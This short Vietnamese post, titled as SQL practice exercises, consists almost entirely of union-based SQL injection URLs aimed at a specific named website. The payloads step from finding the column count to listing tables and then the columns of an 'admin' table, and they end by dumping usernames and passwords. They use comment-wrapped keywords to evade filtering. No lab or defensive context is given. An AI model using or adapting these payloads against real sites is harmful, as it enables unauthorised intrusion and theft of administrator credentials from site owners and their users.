Các bài thực hành SQL

Bài tập SQL 1:

http://lilamaweb.hurahost.com/?do=linhvuc&act=detail&id=-25 /*!UNION SELECT*/ 1,2,3,4,5,6,7,8,9-- -

http://lilamaweb.hurahost.com/?do=linhvuc&act=detail&id=-25 /*!UNION SELECT*/ 1,2,3,4,unhex(hex(group_concat(/*!table_name*/))),6,7,8,9 from information_schema.tables where table_schema=database()-- -

http://lilamaweb.hurahost.com/?do=linhvuc&act=detail&id=-25 /*!UNION SELECT*/ 1,2,3,4,unhex(hex(group_concat(/*!column_name*/))),6,7,8,9 from information_schema.columns where /*!table_name*/=0x61646d696e-- -

Admin = 61646d696e

http://lilamaweb.hurahost.com/?do=linhvuc&act=detail&id=-25 /*!UNION SELECT*/ 1,2,3,4,unhex(hex(group_concat(username,0x7c,password))),6,7,8,9 from admin

Link: By Nxb Item

Good Luck To You